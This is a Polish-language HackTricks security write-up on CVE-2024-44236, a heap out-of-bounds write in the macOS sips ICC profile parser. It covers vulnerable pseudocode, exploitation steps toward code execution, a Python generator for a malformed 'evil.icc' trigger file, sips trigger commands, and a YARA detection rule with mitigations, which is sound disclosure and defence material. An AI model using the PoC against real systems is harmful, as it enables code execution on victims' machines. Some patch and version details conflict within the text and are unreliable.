WWW2Exec - sips ICC Profile Out-of-Bounds Write (CVE-2024-44236)

Reading time: 5 minutes

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Przegląd

Wrażliwość zero-write poza granicami w parserze profilu ICC Scriptable Image Processing System (sips) w Apple macOS (macOS 15.0.1, sips-307) pozwala atakującemu na uszkodzenie metadanych sterty i przekształcenie prymitywu w pełne wykonanie kodu. Błąd znajduje się w obsłudze pola offsetToCLUT tagów lutAToBType (mAB ) i lutBToAType (mBA ). Jeśli atakujący ustawi offsetToCLUT == tagDataSize, parser usuwa 16 bajtów poza końcem bufora sterty. Spraying sterty pozwala atakującemu na wyzerowanie struktur alokatora lub wskaźników C++, które później będą dereferencjonowane, co prowadzi do łańcucha arbitrary-write-to-exec (CVE-2024-44236, CVSS 7.8).

Apple naprawił błąd w macOS Sonoma 15.2 / Ventura 14.7.1 (30 października 2024). Druga wariant (CVE-2025-24185) został naprawiony w macOS 15.5 i iOS/iPadOS 18.5 1 kwietnia 2025.

Wrażliwy kod

c
// Pseudocode extracted from sub_1000194D0 in sips-307 (macOS 15.0.1)
if (offsetToCLUT <= tagDataSize) {
// BAD ➜ zero 16 bytes starting *at* offsetToCLUT
for (uint32_t i = offsetToCLUT; i < offsetToCLUT + 16; i++)
buffer[i] = 0;            // no bounds check vs allocated size!
}

Kroki Eksploatacji

  1. Stwórz złośliwy profil .icc
  • Ustaw minimalny nagłówek ICC (acsp) i dodaj jeden tag mAB (lub mBA ).
  • Skonfiguruj tabelę tagów tak, aby offsetToCLUT równał się rozmiarowi tagu (tagDataSize).
  • Umieść dane kontrolowane przez atakującego tuż po tagu, aby 16 zerowych zapisów nakładało się na metadane alokatora.
  1. Wywołaj analizę za pomocą dowolnej operacji sips, która dotyka profilu
bash
# ścieżka weryfikacji (plik wyjściowy nie jest potrzebny)
sips --verifyColor evil.icc
# lub niejawnie podczas konwertowania obrazów, które osadzają profil
sips -s format png payload.jpg --out out.png
  1. Uszkodzenie metadanych sterty ➜ dowolny zapis ➜ ROP W domyślnym alokatorze nano_zone firmy Apple, metadane dla slotów 16-bajtowych znajdują się bezpośrednio po wyrównanym bloku 0x1000. Umieszczając tag profilu na końcu takiego bloku, 16 zerowych zapisów nadpisuje meta->slot_B. Po kolejnej operacji free, zatruty wskaźnik jest dodawany do małej listy wolnych, co pozwala atakującemu alokować fałszywy obiekt pod dowolnym adresem i nadpisać wskaźnik vtable C++, używany przez sips, ostatecznie przekierowując wykonanie do łańcucha ROP przechowywanego w złośliwym buforze ICC.

Szybki generator PoC (Python 3)

python
#!/usr/bin/env python3
import struct, sys

HDR = b'acsp'.ljust(128, b'\0')          # ICC header (magic + padding)
TAGS = [(b'mAB ', 132, 52)]              # one tag directly after header
profile  = HDR
profile += struct.pack('>I', len(TAGS))  # tag count
profile += b''.join(struct.pack('>4sII', *t) for t in TAGS)

mab = bytearray(52)                      # tag payload (52 bytes)
struct.pack_into('>I', mab, 44, 52)      # offsetToCLUT = size (OOB start)
profile += mab

open('evil.icc', 'wb').write(profile)
print('[+] Wrote evil.icc (%d bytes)' % len(profile))

Reguła wykrywania YARA

yara
rule ICC_mAB_offsetToCLUT_anomaly
{
meta:
description = "Detect CLUT offset equal to tag length in mAB/mBA (CVE-2024-44236)"
author       = "HackTricks"
strings:
$magic = { 61 63 73 70 }          // 'acsp'
$mab   = { 6D 41 42 20 }          // 'mAB '
$mba   = { 6D 42 41 20 }          // 'mBA '
condition:
$magic at 0 and
for any i in (0 .. 10):           // up to 10 tags
(
($mab at 132 + 12*i or $mba at 132 + 12*i) and
uint32(132 + 12*i + 4) == uint32(132 + 12*i + 8) // offset == size
)
}

Wpływ

Otwieranie lub przetwarzanie spreparowanego profilu ICC prowadzi do zdalnego wykonania dowolnego kodu w kontekście wywołującego użytkownika (Podgląd, QuickLook, renderowanie obrazów w Safari, załączniki w Mailu itp.), omijając Gatekeeper, ponieważ profil może być osadzony w innych, pozornie nieszkodliwych obrazach (PNG/JPEG/TIFF).

Wykrywanie i łagodzenie

  • Poprawka! Upewnij się, że host działa na macOS ≥ 15.2 / 14.7.1 (lub iOS/iPadOS ≥ 18.1).
  • Wdróż powyższą regułę YARA na bramkach e-mailowych i rozwiązaniach EDR.
  • Usuń lub oczyść osadzone profile ICC za pomocą exiftool -icc_profile= -overwrite_original <file> przed dalszym przetwarzaniem na nieufnych plikach.
  • Wzmocnij Podgląd/QuickLook, uruchamiając je w piaskownicowych maszynach wirtualnych „przezroczystości i modernizacji” podczas analizy nieznanej zawartości.
  • W przypadku DFIR, szukaj niedawnego wykonania sips --verifyColor lub ładowania biblioteki ColorSync przez aplikacje w piaskownicy w zjednoczonym dzienniku.

Odniesienia

  • Trend Micro Zero Day Initiative advisory ZDI-24-1445 – “Apple macOS ICC Profile Parsing Out-of-Bounds Write Remote Code Execution (CVE-2024-44236)” https://www.zerodayinitiative.com/advisories/ZDI-24-1445/
  • Apple security updates HT213981 “O zawartości zabezpieczeń macOS Sonoma 15.2” https://support.apple.com/en-us/HT213981

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks